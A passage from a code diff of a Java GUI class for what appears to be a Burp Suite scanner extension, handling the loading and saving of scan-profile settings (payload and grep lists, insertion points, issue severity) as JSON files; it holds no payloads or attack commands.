(insertionPointType.contains(64)) { + profile.userprovided.setSelected(true); + } + if (insertionPointType.contains(0)) { + profile.paramurl.setSelected(true); + } + if (insertionPointType.contains(3)) { + profile.paramxml.setSelected(true); + } + if (insertionPointType.contains(4)) { + profile.paramxmlattr.setSelected(true); + } + if (insertionPointType.contains(37)) { + profile.urlpathfilename.setSelected(true); + } + if (insertionPointType.contains(127)) { + profile.unknown.setSelected(true); + } + + profile.check1.setSelected(casesensitive); + profile.check4.setSelected(notresponse); + profile.check71.setSelected(iscontenttype); + profile.check72.setSelected(isresponsecode); + profile.negativeCT.setSelected(negativect); + profile.negativeRC.setSelected(negativerc); + profile.text4.setText(issuename); + profile.textarea1.setText(issuedetail); + profile.textarea2.setText(issuebackground); + profile.textarea3.setText(remediationdetail); + profile.textarea4.setText(remediationbackground); + text11.setText(filename); + profile.sp1.setValue(maxRedir); + + switch (issueseverity) { + case "High": + buttonGroup2.setSelected(profile.radio5.getModel(), true); + break; + case "Medium": + buttonGroup2.setSelected(profile.radio6.getModel(), true); + break; + case "Low": + buttonGroup2.setSelected(profile.radio7.getModel(), true); + break; + case "Information": + buttonGroup2.setSelected(profile.radio8.getModel(), true); + break; + default: + break; + } + + switch (issueconfidence) { + case "Certain": + buttonGroup3.setSelected(profile.radio9.getModel(), true); + break; + case "Firm": + buttonGroup3.setSelected(profile.radio10.getModel(), true); + break; + case "Tentative": + buttonGroup3.setSelected(profile.radio11.getModel(), true); + break; + default: + break; + } + } catch (Exception e) { + callbacks.printError("BurpBountyGui line 658:" + e.getMessage()); + } + } + + public void saveActiveAttackValues(ActiveProfile profile) { + headers = new ArrayList(); + variationAttributes = new ArrayList(); + insertionPointType = new ArrayList(); + //Save attack with fields values + try { + //get GUI values + ProfilesProperties newfile = new ProfilesProperties(); + + if (profile.text1.getText().length() >= 35) { + newfile.setName(profile.text1.getText().substring(0, 34)); + } else { + newfile.setName(profile.text1.getText()); + } + + if (profile.textauthor.getText().length() >= 35) { + newfile.setAuthor(profile.textauthor.getText().substring(0, 34)); + } else { + newfile.setAuthor(profile.textauthor.getText()); + } + + newfile.setScanner(1); + + if (profile.replace.isSelected()) { + newfile.setPayloadPosition(1); + } else if (profile.append.isSelected()) { + newfile.setPayloadPosition(2); + } else { + newfile.setPayloadPosition(1); + } + + newfile.setEnabled(true); + List encoders = new ArrayList(); + List payloads = new ArrayList(); + List greps = new ArrayList(); + List tags = new ArrayList(); + + newfile.setPayloadsFile(profile.textpayloads.getText()); + for (int i = 0; i < profile.list1.getModel().getSize(); i++) { + Object item = profile.list1.getModel().getElementAt(i); + if (!item.toString().isEmpty()) { + payloads.add(item.toString().replaceAll("\r", "").replaceAll("\n", "")); + } + } + newfile.setPayloads(payloads); + + newfile.setGrepsFile(profile.textgreps.getText()); + for (int i = 0; i < profile.modelgrep.getRowCount(); i++) { + if (!profile.modelgrep.getValueAt(i, 2).toString().isEmpty()) { + greps.add(profile.modelgrep.getValueAt(i, 0).toString() + "," + profile.modelgrep.getValueAt(i, 1).toString() + "," + profile.modelgrep.getValueAt(i, 2).toString()); + } + } + newfile.setGreps(greps); + + for (int row = 0; row < profile.model4.getRowCount(); row++) { + headers.add(new Headers((String) profile.model4.getValueAt(row, 0), (String) profile.model4.getValueAt(row, 1), (String) profile.model4.getValueAt(row, 2), (String) profile.model4.getValueAt(row, 3))); + } + newfile.setHeader(headers); + + for (int i = 0; i < profile.listtag.getModel().getSize(); i++) { + Object item = profile.listtag.getModel().getElementAt(i); + if (!item.toString().isEmpty()) { + tags.add(item.toString().replaceAll("\r", "").replaceAll("\n", "")); + } + } + if (!tags.contains("All")) { + tags.add("All"); + newfile.setTags(tags); + } else { + newfile.setTags(tags); + } + + for (int i = 0; i < profile.list3.getModel().getSize(); i++) { + Object item = profile.list3.getModel().getElementAt(i); + if (!item.toString().isEmpty()) { + encoders.add(item.toString().replaceAll("\r", "").replaceAll("\n", "")); + } + } + + newfile.setEncoder(encoders); + newfile.setCharsToUrlEncode(profile.text5.getText()); + newfile.setUrlEncode(profile.check8.isSelected()); + newfile.setExcludeHTTP(profile.excludehttp.isSelected()); + newfile.setOnlyHTTP(profile.onlyhttp.isSelected()); + newfile.setContentType(profile.text71.getText()); + newfile.setResponseCode(profile.text72.getText()); + + if (profile.texttime.getText().isEmpty()) { + newfile.setTime(profile.texttime.getText()); + } else { + newfile.setTime(profile.texttime.getText()); + } + + if (profile.textcl.getText().isEmpty()) { + newfile.setContentLength(profile.textcl.getText()); + } else { + newfile.setContentLength(profile.textcl.getText()); + } + + if (profile.radio4.isSelected()) { + newfile.setMatchType(1); + } else if (profile.radio3.isSelected()) { + newfile.setMatchType(2); + } else if (profile.radio12.isSelected()) { + newfile.setMatchType(3); + } else if (profile.radio22.isSelected()) { + newfile.setMatchType(4); + } else if (profile.radiotime.isSelected()) { + newfile.setMatchType(5); + } else if (profile.radiocl.isSelected()) { + newfile.setMatchType(6); + } else if (profile.variationsRadio.isSelected()) { + newfile.setMatchType(7); + } else if (profile.invariationsRadio.isSelected()) { + newfile.setMatchType(8); + } else { + newfile.setMatchType(0); + } + + if (profile.rb1.isSelected()) { + newfile.setRedirType(1); + } else if (profile.rb2.isSelected()) { + newfile.setRedirType(2); + } else if (profile.rb3.isSelected()) { + newfile.setRedirType(3); + } else if (profile.rb4.isSelected()) { + newfile.setRedirType(4); + } else { + newfile.setRedirType(0); + } + + if (profile.status_code.isSelected()) { + variationAttributes.add("status_code"); + } + if (profile.input_image_labels.isSelected()) { + variationAttributes.add("input_image_labels"); + } + if (profile.non_hidden_form_input_types.isSelected()) { + variationAttributes.add("non_hidden_form_input_types"); + } + if (profile.page_title.isSelected()) { + variationAttributes.add("page_title"); + } + if (profile.visible_text.isSelected()) { + variationAttributes.add("visible_text"); + } + if (profile.button_submit_labels.isSelected()) { + variationAttributes.add("button_submit_labels"); + } + if (profile.div_ids.isSelected()) { + variationAttributes.add("div_ids"); + } + if (profile.word_count.isSelected()) { + variationAttributes.add("word_count"); + } + if (profile.content_type.isSelected()) { + variationAttributes.add("content_type"); + } + if (profile.outbound_edge_tag_names.isSelected()) { + variationAttributes.add("outbound_edge_tag_names"); + } + if (profile.whole_body_content.isSelected()) { + variationAttributes.add("whole_body_content"); + } + if (profile.etag_header.isSelected()) { + variationAttributes.add("etag_header"); + } + if (profile.visible_word_count.isSelected()) { + variationAttributes.add("visible_word_count"); + } + if (profile.content_length.isSelected()) { + variationAttributes.add("content_length"); + } + if (profile.header_tags.isSelected()) { + variationAttributes.add("header_tags"); + } + if (profile.tag_ids.isSelected()) { + variationAttributes.add("tag_ids"); + } + if (profile.comments.isSelected()) { + variationAttributes.add("comments"); + } + if (profile.line_count.isSelected()) { + variationAttributes.add("line_count"); + } + if (profile.set_cookie_names.isSelected()) { + variationAttributes.add("set_cookie_names"); + } + if (profile.last_modified_header.isSelected()) { + variationAttributes.add("last_modified_header"); + } + if (profile.first_header_tag.isSelected()) { + variationAttributes.add("first_header_tag"); + } + if (profile.tag_names.isSelected()) { + variationAttributes.add("tag_names"); + } + if (profile.input_submit_labels.isSelected()) { + variationAttributes.add("input_submit_labels"); + } + if (profile.outbound_edge_count.isSelected()) { + variationAttributes.add("outbound_edge_count"); + } + if (profile.initial_body_content.isSelected()) { + variationAttributes.add("initial_body_content"); + } + if (profile.content_location.isSelected()) { + variationAttributes.add("content_location"); + } + if (profile.limited_body_content.isSelected()) { + variationAttributes.add("limited_body_content"); + } + if (profile.canonical_link.isSelected()) { + variationAttributes.add("canonical_link"); + } + if (profile.css_classes.isSelected()) { + variationAttributes.add("css_classes"); + } + if (profile.location.isSelected()) { + variationAttributes.add("location"); + } + if (profile.anchor_labels.isSelected()) { + variationAttributes.add("anchor_labels"); + } + + newfile.setVariationAttributes(variationAttributes); + + if (profile.All.isSelected()) { + insertionPointType.add(18); + insertionPointType.add(65); + insertionPointType.add(32); + insertionPointType.add(36); + insertionPointType.add(7); + insertionPointType.add(1); + insertionPointType.add(2); + insertionPointType.add(6); + insertionPointType.add(33); + insertionPointType.add(5); + insertionPointType.add(35); + insertionPointType.add(34); + insertionPointType.add(64); + insertionPointType.add(0); + insertionPointType.add(3); + insertionPointType.add(4); + insertionPointType.add(37); + insertionPointType.add(127); + } + + if (profile.extensionprovided.isSelected()) { + insertionPointType.add(65); + } + if (profile.header.isSelected()) { + insertionPointType.add(32); + } + if (profile.entirebody.isSelected()) { + insertionPointType.add(36); + } + if (profile.paramamf.isSelected()) { + insertionPointType.add(7); + } + if (profile.parambody.isSelected()) { + insertionPointType.add(1); + } + if (profile.paramcookie.isSelected()) { + insertionPointType.add(2); + } + if (profile.paramjson.isSelected()) { + insertionPointType.add(6); + } + if (profile.urlpathfolder.isSelected()) { + insertionPointType.add(33); + } + if (profile.parammultipartattr.isSelected()) { + insertionPointType.add(5); + } + if (profile.paramnamebody.isSelected()) { + insertionPointType.add(35); + } + if (profile.paramnameurl.isSelected()) { + insertionPointType.add(34); + } + if (profile.userprovided.isSelected()) { + insertionPointType.add(64); + } + if (profile.paramurl.isSelected()) { + insertionPointType.add(0); + } + if (profile.paramxml.isSelected()) { + insertionPointType.add(3); + } + if (profile.paramxmlattr.isSelected()) { + insertionPointType.add(4); + } + if (profile.urlpathfilename.isSelected()) { + insertionPointType.add(37); + } + if (profile.unknown.isSelected()) { + insertionPointType.add(127); + } + if (insertionPointType.isEmpty()) { + insertionPointType.add(18); + insertionPointType.add(65); + insertionPointType.add(32); + insertionPointType.add(36); + insertionPointType.add(7); + insertionPointType.add(1); + insertionPointType.add(2); + insertionPointType.add(6); + insertionPointType.add(33); + insertionPointType.add(5); + insertionPointType.add(35); + insertionPointType.add(34); + insertionPointType.add(64); + insertionPointType.add(0); + insertionPointType.add(3); + insertionPointType.add(4); + insertionPointType.add(37); + insertionPointType.add(127); + } else { + newfile.setInsertionPointType(insertionPointType); + } + + newfile.setCaseSensitive(profile.check1.isSelected()); + newfile.setNotResponse(profile.check4.isSelected()); + newfile.setIsContentType(profile.check71.isSelected()); + newfile.setIsResponseCode(profile.check72.isSelected()); + newfile.setNegativeCT(profile.negativeCT.isSelected()); + newfile.setNegativeRC(profile.negativeRC.isSelected()); + newfile.setIssueName(profile.text4.getText()); + newfile.setIssueDetail(profile.textarea1.getText()); + newfile.setIssueBackground(profile.textarea2.getText()); + newfile.setRemediationDetail(profile.textarea3.getText()); + newfile.setRemediationBackground(profile.textarea4.getText()); + newfile.setMaxRedir((Integer) profile.sp1.getValue()); + + if (profile.radio5.isSelected()) { + newfile.setIssueSeverity("High"); + } else if (profile.radio6.isSelected()) { + newfile.setIssueSeverity("Medium"); + } else if (profile.radio7.isSelected()) { + newfile.setIssueSeverity("Low"); + } else if (profile.radio8.isSelected()) { + newfile.setIssueSeverity("Information"); + } else { + newfile.setIssueSeverity(""); + } + + if (profile.radio9.isSelected()) { + newfile.setIssueConfidence("Certain"); + } else if (profile.radio10.isSelected()) { + newfile.setIssueConfidence("Firm"); + } else if (profile.radio11.isSelected()) { + newfile.setIssueConfidence("Tentative"); + } else { + newfile.setIssueConfidence(""); + } + + //Save start + Gson gson = new Gson(); + + JsonArray ijson = new JsonArray(); + List newjson = gson.fromJson(ijson, new TypeToken>() { + }.getType()); + newjson.add(newfile); + + String json = gson.toJson(newjson); + + //Write JSON String to file + FileOutputStream fileStream; + + if (profile.text1.getText().length() >= 35) { + fileStream = new FileOutputStream(new File(profiles_directory + profile.text1.getText().substring(0, 34).concat(".bb"))); + } else { + fileStream = new FileOutputStream(new File(profiles_directory + profile.text1.getText().concat(".bb"))); + } + + OutputStreamWriter writer = new OutputStreamWriter(fileStream, "UTF-8"); + writer.write(json); + writer.close(); + fileStream.close(); + + } catch (IOException e) { + callbacks.printError("BurpBountyGui line 1027:"); + } + } + + public void setResponseAttackValues(String profiles, ResponseProfile profile) { + //Set Attack values when select from main combobox + try { + Gson gson = new Gson(); + JsonArray json = initJson(); + ProfilesProperties profile_property = new ProfilesProperties(); + + if (json != null) { + for (JsonElement pa : json) { + JsonObject bbObj = pa.getAsJsonObject(); + if (bbObj.get("Name").getAsString().equals(profiles)) { + profile_property = gson.fromJson(bbObj.toString(), ProfilesProperties.class + ); + } + + } + } + + name = profile_property.getName(); + scanner = profile_property.getScanner(); + casesensitive = profile_property.getCaseSensitive(); + notresponse = profile_property.getNotResponse(); + matchtype = profile_property.getMatchType(); + issuename = profile_property.getIssueName(); + issueseverity = profile_property.getIssueSeverity(); + issueconfidence = profile_property.getIssueConfidence(); + issuedetail = profile_property.getIssueDetail(); + issuebackground = profile_property.getIssueBackground(); + remediationdetail = profile_property.getRemediationDetail(); + remediationbackground = profile_property.getRemediationBackground(); + iscontenttype = profile_property.getIsContentType(); + isresponsecode = profile_property.getIsResponseCode(); + contenttype = profile_property.getContentType(); + responsecode = profile_property.getResponseCode(); + excludeHTTP = profile_property.getExcludeHTTP(); + onlyHTTP = profile_property.getOnlyHTTP(); + negativect = profile_property.getNegativeCT(); + negativerc = profile_property.getNegativeRC(); + redirtype = profile_property.getRedirection(); + maxRedir = profile_property.getMaxRedir(); + payloadsfile = profile_property.getpayloadsFile(); + grepsfile = profile_property.getgrepsFile(); + payloadPosition = profile_property.getPayloadPosition(); + timeOut = profile_property.getTime(); + author = profile_property.getAuthor(); + contentLength = profile_property.getContentLength(); + headers = profile_property.getHeader(); + variationAttributes = profile_property.getVariationAttributes(); + insertionPointType = profile_property.getInsertionPointType(); + + profile.textauthor.setText(author); + profile.text1.setText(name); + + if (profile_property.getTags() != null) { + for (String t : profile_property.getTags()) { + profile.tag.addElement(t); + } + } + + profile.showGreps(profile_property.getGreps()); + + profile.text71.setText(contenttype); + profile.text72.setText(responsecode); + + profile.excludehttp.setSelected(excludeHTTP); + profile.onlyhttp.setSelected(onlyHTTP); + + switch (matchtype) { + case 1: + buttonGroup4.setSelected(profile.radio4.getModel(), true); + break; + case 2: + buttonGroup4.setSelected(profile.radio3.getModel(), true); + break; + default: + buttonGroup4.clearSelection(); + break; + } + + switch (redirtype) { + case 1: + buttonGroup8.setSelected(profile.rb1.getModel(), true); + break; + case 2: + buttonGroup8.setSelected(profile.rb2.getModel(), true); + break; + case 3: + buttonGroup8.setSelected(profile.rb3.getModel(), true); + break; + case 4: + buttonGroup8.setSelected(profile.rb4.getModel(), true); + break; + default: + buttonGroup8.clearSelection(); + break; + } + + profile.check1.setSelected(casesensitive); + profile.check4.setSelected(notresponse); + profile.check71.setSelected(iscontenttype); + profile.check72.setSelected(isresponsecode); + profile.negativeCT.setSelected(negativect); + profile.negativeRC.setSelected(negativerc); + profile.text4.setText(issuename); + profile.textarea1.setText(issuedetail); + profile.textarea2.setText(issuebackground); + profile.textarea3.setText(remediationdetail); + profile.textarea4.setText(remediationbackground); + text11.setText(filename); + profile.sp1.setValue(maxRedir); + + switch (issueseverity) { + case "High": + buttonGroup2.setSelected(profile.radio5.getModel(), true); + break; + case "Medium": + buttonGroup2.setSelected(profile.radio6.getModel(), true); + break; + case "Low": + buttonGroup2.setSelected(profile.radio7.getModel(), true); + break; + case "Information": + buttonGroup2.setSelected(profile.radio8.getModel(), true); + break; + default: + break; + } + + switch (issueconfidence) { + case "Certain": + buttonGroup3.setSelected(profile.radio9.getModel(), true); + break; + case "Firm": + buttonGroup3.setSelected(profile.radio10.getModel(), true); + break; + case "Tentative": + buttonGroup3.setSelected(profile.radio11.getModel(), true); + break; + default: + break; + } + } catch (Exception e) { + callbacks.printError("BurpBountyGui line 1180:" + e.getMessage()); + } + } + + public void saveResponseAttackValues(ResponseProfile profile) { + variationAttributes = new ArrayList(); + insertionPointType = new ArrayList(); + //Save attack with fields values + try { + //get GUI values + ProfilesProperties newfile = new ProfilesProperties(); + + if (profile.text1.getText().length() >= 35) { + newfile.setName(profile.text1.getText().substring(0, 34)); + } else { + newfile.setName(profile.text1.getText()); + } + + if (profile.textauthor.getText().length() >= 35) { + newfile.setAuthor(profile.textauthor.getText().substring(0, 34)); + } else { + newfile.setAuthor(profile.textauthor.getText()); + } + + newfile.setScanner(2); + + newfile.setEnabled(true); + List greps = new ArrayList(); + List tags = new ArrayList(); + + newfile.setGrepsFile(profile.textgreps.getText()); + for (int i = 0; i < profile.modelgrep.getRowCount(); i++) { + if (!profile.modelgrep.getValueAt(i, 2).toString().isEmpty()) { + greps.add(profile.modelgrep.getValueAt(i, 0).toString() + "," + profile.modelgrep.getValueAt(i, 1).toString() + "," + profile.modelgrep.getValueAt(i, 2).toString()); + } + } + newfile.setGreps(greps); + + for (int i = 0; i < profile.listtag.getModel().getSize(); i++) { + Object item = profile.listtag.getModel().getElementAt(i); + if (!item.toString().isEmpty()) { + tags.add(item.toString().replaceAll("\r", "").replaceAll("\n", "")); + } + } + if (!tags.contains("All")) { + tags.add("All"); + newfile.setTags(tags); + } else { + newfile.setTags(tags); + } + + if (profile.radio4.isSelected()) { + newfile.setMatchType(1); + } else if (profile.radio3.isSelected()) { + newfile.setMatchType(2); + } else { + newfile.setMatchType(0); + } + + newfile.setExcludeHTTP(profile.excludehttp.isSelected()); + newfile.setOnlyHTTP(profile.onlyhttp.isSelected()); + newfile.setContentType(profile.text71.getText()); + newfile.setResponseCode(profile.text72.getText()); + + if (profile.rb1.isSelected()) { + newfile.setRedirType(1); + } else if (profile.rb2.isSelected()) { + newfile.setRedirType(2); + } else if (profile.rb3.isSelected()) { + newfile.setRedirType(3); + } else if (profile.rb4.isSelected()) { + newfile.setRedirType(4); + } else { + newfile.setRedirType(0); + } + + newfile.setVariationAttributes(variationAttributes); + + newfile.setInsertionPointType(insertionPointType); + + newfile.setCaseSensitive(profile.check1.isSelected()); + newfile.setNotResponse(profile.check4.isSelected()); + newfile.setIsContentType(profile.check71.isSelected()); + newfile.setIsResponseCode(profile.check72.isSelected()); + newfile.setNegativeCT(profile.negativeCT.isSelected()); + newfile.setNegativeRC(profile.negativeRC.isSelected()); + newfile.setIssueName(profile.text4.getText()); + newfile.setIssueDetail(profile.textarea1.getText()); + newfile.setIssueBackground(profile.textarea2.getText()); + newfile.setRemediationDetail(profile.textarea3.getText()); + newfile.setRemediationBackground(profile.textarea4.getText()); + newfile.setMaxRedir((Integer) profile.sp1.getValue()); + + if (profile.radio5.isSelected()) { + newfile.setIssueSeverity("High"); + } else if (profile.radio6.isSelected()) { + newfile.setIssueSeverity("Medium"); + } else if (profile.radio7.isSelected()) { + newfile.setIssueSeverity("Low"); + } else if (profile.radio8.isSelected()) { + newfile.setIssueSeverity("Information"); + } else { + newfile.setIssueSeverity(""); + } + + if (profile.radio9.isSelected()) { + newfile.setIssueConfidence("Certain"); + } else if (profile.radio10.isSelected()) { + newfile.setIssueConfidence("Firm"); + } else if (profile.radio11.isSelected()) { + newfile.setIssueConfidence("Tentative"); + } else { + newfile.setIssueConfidence(""); + } + + //Save start + Gson gson = new Gson(); + + JsonArray ijson = new JsonArray(); + List newjson = gson.fromJson(ijson, new TypeToken>() { + }.getType()); + newjson.add(newfile); + + String json = gson.toJson(newjson); + + //Write JSON String to file + FileOutputStream fileStream; + + if (profile.text1.getText().length() >= 35) { + fileStream = new FileOutputStream(new File(profiles_directory + profile.text1.getText().substring(0, 34).concat(".bb"))); + } else { + fileStream = new FileOutputStream(new File(profiles_directory + profile.text1.getText().concat(".bb"))); + } + + OutputStreamWriter writer = new OutputStreamWriter(fileStream, "UTF-8"); + writer.write(json); + writer.close(); + fileStream.close(); + + } catch (IOException e) { + callbacks.printError("BurpBountyGui line 1323:"); + } + } + + public void setRequestAttackValues(String profiles, RequestProfile profile) { + //Set Attack values when select from main combobox + try { + Gson gson = new Gson(); + JsonArray json = initJson(); + ProfilesProperties profile_property = new ProfilesProperties(); + + if (json != null) { + for (JsonElement pa : json) { + JsonObject bbObj = pa.getAsJsonObject(); + if (bbObj.get("Name").getAsString().equals(profiles)) { + profile_property = gson.fromJson(bbObj.toString(), ProfilesProperties.class + ); + } + + } + } + + name = profile_property.getName(); + scanner = profile_property.getScanner(); + casesensitive = profile_property.getCaseSensitive(); + notresponse = profile_property.getNotResponse(); + matchtype = profile_property.getMatchType(); + issuename = profile_property.getIssueName(); + issueseverity = profile_property.getIssueSeverity(); + issueconfidence = profile_property.getIssueConfidence(); + issuedetail = profile_property.getIssueDetail(); + issuebackground = profile_property.getIssueBackground(); + remediationdetail = profile_property.getRemediationDetail(); + remediationbackground = profile_property.getRemediationBackground(); + iscontenttype = profile_property.getIsContentType(); + isresponsecode = profile_property.getIsResponseCode(); + contenttype = profile_property.getContentType(); + responsecode = profile_property.getResponseCode(); + excludeHTTP = profile_property.getExcludeHTTP(); + onlyHTTP = profile_property.getOnlyHTTP(); + negativect = profile_property.getNegativeCT(); + negativerc = profile_property.getNegativeRC(); + redirtype = profile_property.getRedirection(); + maxRedir = profile_property.getMaxRedir(); + payloadsfile = profile_property.getpayloadsFile(); + grepsfile = profile_property.getgrepsFile(); + payloadPosition = profile_property.getPayloadPosition(); + timeOut = profile_property.getTime(); + author = profile_property.getAuthor(); + contentLength = profile_property.getContentLength(); + headers = profile_property.getHeader(); + variationAttributes = profile_property.getVariationAttributes(); + insertionPointType = profile_property.getInsertionPointType(); + + profile.textauthor.setText(author); + profile.text1.setText(name); + + profile.grep.removeAllElements(); + profile.tag.removeAllElements(); + + profile.textgreps.setText(grepsfile); + + profile.showGreps(profile_property.getGreps()); + + if (profile_property.getTags() != null) { + for (String t : profile_property.getTags()) { + profile.tag.addElement(t); + } + } + + switch (matchtype) { + case 1: + buttonGroup4.setSelected(profile.radio4.getModel(), true); + break; + case 2: + buttonGroup4.setSelected(profile.radio3.getModel(), true); + break; + default: + buttonGroup4.clearSelection(); + break; + } + + profile.check1.setSelected(casesensitive); + profile.check4.setSelected(notresponse); + profile.text4.setText(issuename); + profile.textarea1.setText(issuedetail); + profile.textarea2.setText(issuebackground); + profile.textarea3.setText(remediationdetail); + profile.textarea4.setText(remediationbackground); + text11.setText(filename); + + switch (issueseverity) { + case "High": + buttonGroup2.setSelected(profile.radio5.getModel(), true); + break; + case "Medium": + buttonGroup2.setSelected(profile.radio6.getModel(), true); + break; + case "Low": + buttonGroup2.setSelected(profile.radio7.getModel(), true); + break; + case "Information": + buttonGroup2.setSelected(profile.radio8.getModel(), true); + break; + default: + break; + } + + switch (issueconfidence) { + case "Certain": + buttonGroup3.setSelected(profile.radio9.getModel(), true); + break; + case "Firm": + buttonGroup3.setSelected(profile.radio10.getModel(), true); + break; + case "Tentative": + buttonGroup3.setSelected(profile.radio11.getModel(), true); + break; + default: + break; + } + } catch (Exception e) { + callbacks.printError("BurpBountyGui line 1823:" + e.getMessage()); + } + } + + public void saveRequestAttackValues(RequestProfile profile) { + variationAttributes = new ArrayList(); + insertionPointType = new ArrayList(); + //Save attack with fields values + try { + //get GUI values + ProfilesProperties newfile = new ProfilesProperties(); + + if (profile.text1.getText().length() >= 35) { + newfile.setName(profile.text1.getText().substring(0, 34)); + } else { + newfile.setName(profile.text1.getText()); + } + + if (profile.textauthor.getText().length() >= 35) { + newfile.setAuthor(profile.textauthor.getText().substring(0, 34)); + } else { + newfile.setAuthor(profile.textauthor.getText()); + } + + newfile.setScanner(3); + + newfile.setEnabled(true); + List greps = new ArrayList(); + List tags = new ArrayList(); + + newfile.setGrepsFile(profile.textgreps.getText()); + + for (int i = 0; i < profile.modelgrep.getRowCount(); i++) { + if (!profile.modelgrep.getValueAt(i, 3).toString().isEmpty()) { + greps.add(profile.modelgrep.getValueAt(i, 0).toString() + "," + profile.modelgrep.getValueAt(i, 1).toString() + "," + profile.modelgrep.getValueAt(i, 2).toString() + "," + profile.modelgrep.getValueAt(i, 3).toString() + "," + profile.modelgrep.getValueAt(i, 4).toString()); + } + } + newfile.setGreps(greps); + + for (int i = 0; i < profile.listtag.getModel().getSize(); i++) { + Object item = profile.listtag.getModel().getElementAt(i); + if (!item.toString().isEmpty()) { + tags.add(item.toString().replaceAll("\r", "").replaceAll("\n", "")); + } + } + if (!tags.contains("All")) { + tags.add("All"); + newfile.setTags(tags); + } else { + newfile.setTags(tags); + } + + if (profile.radio4.isSelected()) { + newfile.setMatchType(1); + } else if (profile.radio3.isSelected()) { + newfile.setMatchType(2); + } else { + newfile.setMatchType(0); + } + + newfile.setVariationAttributes(variationAttributes); + + newfile.setCaseSensitive(profile.check1.isSelected()); + newfile.setNotResponse(profile.check4.isSelected()); + newfile.setIssueName(profile.text4.getText()); + newfile.setIssueDetail(profile.textarea1.getText()); + newfile.setIssueBackground(profile.textarea2.getText()); + newfile.setRemediationDetail(profile.textarea3.getText()); + newfile.setRemediationBackground(profile.textarea4.getText()); + + if (profile.radio5.isSelected()) { + newfile.setIssueSeverity("High"); + } else if (profile.radio6.isSelected()) { + newfile.setIssueSeverity("Medium"); + } else if (profile.radio7.isSelected()) { + newfile.setIssueSeverity("Low"); + } else if (profile.radio8.isSelected()) { + newfile.setIssueSeverity("Information"); + } else { + newfile.setIssueSeverity(""); + } + + if (profile.radio9.isSelected()) { + newfile.setIssueConfidence("Certain"); + } else if (profile.radio10.isSelected()) { + newfile.setIssueConfidence("Firm"); + } else if (profile.radio11.isSelected()) { + newfile.setIssueConfidence("Tentative"); + } else { + newfile.setIssueConfidence(""); + } + + //Save start + Gson gson = new Gson(); + + JsonArray ijson = new JsonArray(); + List newjson = gson.fromJson(ijson, new TypeToken>() { + }.getType()); + newjson.add(newfile); + + String json = gson.toJson(newjson); + + //Write JSON String to file + FileOutputStream fileStream; + + if (profile.text1.getText().length() >= 35) { + fileStream = new FileOutputStream(new File(profiles_directory + profile.text1.getText().substring(0, 34).concat(".bb"))); + } else { + fileStream = new FileOutputStream(new File(profiles_directory + profile.text1.getText().concat(".bb"))); + } + + OutputStreamWriter writer = new OutputStreamWriter(fileStream, "UTF-8"); + writer.write(json); + writer.close(); + fileStream.close(); + + } catch (IOException e) { + callbacks.printError("BurpBountyGui line 1571:"); + } + } + + public void setSelectedVariations(boolean state, ActiveProfile profile) { + profile.status_code.setSelected(state); + profile.input_image_labels.setSelected(state); + profile.non_hidden_form_input_types.setSelected(state); + profile.page_title.setSelected(state); + profile.visible_text.setSelected(state); + profile.button_submit_labels.setSelected(state); + profile.div_ids.setSelected(state); + profile.word_count.setSelected(state); + profile.content_type.setSelected(state); + profile.outbound_edge_tag_names.setSelected(state); + profile.whole_body_content.setSelected(state); + profile.etag_header.setSelected(state); + profile.visible_word_count.setSelected(state); + profile.content_length.setSelected(state); + profile.header_tags.setSelected(state); + profile.tag_ids.setSelected(state); + profile.comments.setSelected(state); + profile.line_count.setSelected(state); + profile.set_cookie_names.setSelected(state); + profile.last_modified_header.setSelected(state); + profile.first_header_tag.setSelected(state); + profile.tag_names.setSelected(state); + profile.input_submit_labels.setSelected(state); + profile.outbound_edge_count.setSelected(state); + profile.initial_body_content.setSelected(state); + profile.content_location.setSelected(state); + profile.limited_body_content.setSelected(state); + profile.canonical_link.setSelected(state); + profile.css_classes.setSelected(state); + profile.location.setSelected(state); + profile.anchor_labels.setSelected(state); + } + + public void updatePayloads(String file, ProfilesProperties issue) { + + //Load file for implement payloads + List payloads = new ArrayList(); + String line; + File fileload = new File(file); + + try { + BufferedReader bufferreader = new BufferedReader(new FileReader(fileload.getAbsolutePath())); + line = bufferreader.readLine(); + + while (line != null) { + payloads.add(line); + line = bufferreader.readLine(); + } + bufferreader.close(); + + issue.setPayloads(payloads); + + Gson gson = new Gson(); + String strJson = gson.toJson(issue); + FileWriter writer = null; + + writer = new FileWriter(profiles_directory + issue.getName().concat(".bb")); + writer.write("[" + strJson + "]"); + + writer.close(); + } catch (FileNotFoundException ex) { + callbacks.printError("BurpBountyGui line 1639:"); + } catch (IOException ex) { + callbacks.printError("BurpBountyGui line 1042:"); + } + } + + public void updateGreps(String file, ProfilesProperties issue) { + + //Load file for implement payloads + List greps = new ArrayList(); + String line; + File fileload = new File(file); + + try { + BufferedReader bufferreader = new BufferedReader(new FileReader(fileload.getAbsolutePath())); + line = bufferreader.readLine(); + + while (line != null) { + greps.add(line); + line = bufferreader.readLine(); + } + bufferreader.close(); + + issue.setGreps(greps); + + Gson gson = new Gson(); + String strJson = gson.toJson(issue); + FileWriter writer = null; + + writer = new FileWriter(profiles_directory + issue.getName().concat(".bb")); + writer.write("[" + strJson + "]"); + + writer.close(); + } catch (FileNotFoundException ex) { + callbacks.printError("BurpBountyGui line 1675:" + ex.getMessage()); + } catch (IOException ex) { + callbacks.printError("BurpBountyGui line 1078:" + ex.getMessage()); + } + } + + + + private List readFile(String filename) { + List records = new ArrayList(); + try { + BufferedReader reader = new BufferedReader(new FileReader(filename)); + String line; + while ((line = reader.readLine()) != null) { + records.add(line); + } + reader.close(); + } catch (Exception e) { + System.out.println("BurpBountyGui line 1882:" + e.getMessage()); + } + return records; + } + + public JsonArray initJson() { + //Init json form filename + FileReader fr; + + try { + JsonArray data = new JsonArray(); + File f = new File(profiles_directory); + if (f.exists() && f.isDirectory()) { + for (File file : f.listFiles()) { + if (file.getName().endsWith(".bb")) { + fr = new FileReader(file.getAbsolutePath()); + JsonReader json = new JsonReader((fr)); + JsonParser parser = new JsonParser(); + data.addAll(parser.parse(json).getAsJsonArray()); + fr.close(); + json.close(); + } + + } + } + return data; + } catch (Exception e) { + callbacks.printError("BurpBountyGui line 1823:" + e.getMessage()); + return null; + } + } + + public String getClipboardContents() { + //Get clipboard contents for implement grep and match paste button + String result = ""; + Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard(); + Transferable contents = clipboard.getContents(null); + boolean hasTransferableText = (contents != null) && contents.isDataFlavorSupported(DataFlavor.stringFlavor); + + if (hasTransferableText) { + try { + result = (String) contents.getTransferData(DataFlavor.stringFlavor); + } catch (UnsupportedFlavorException | IOException ex) { + 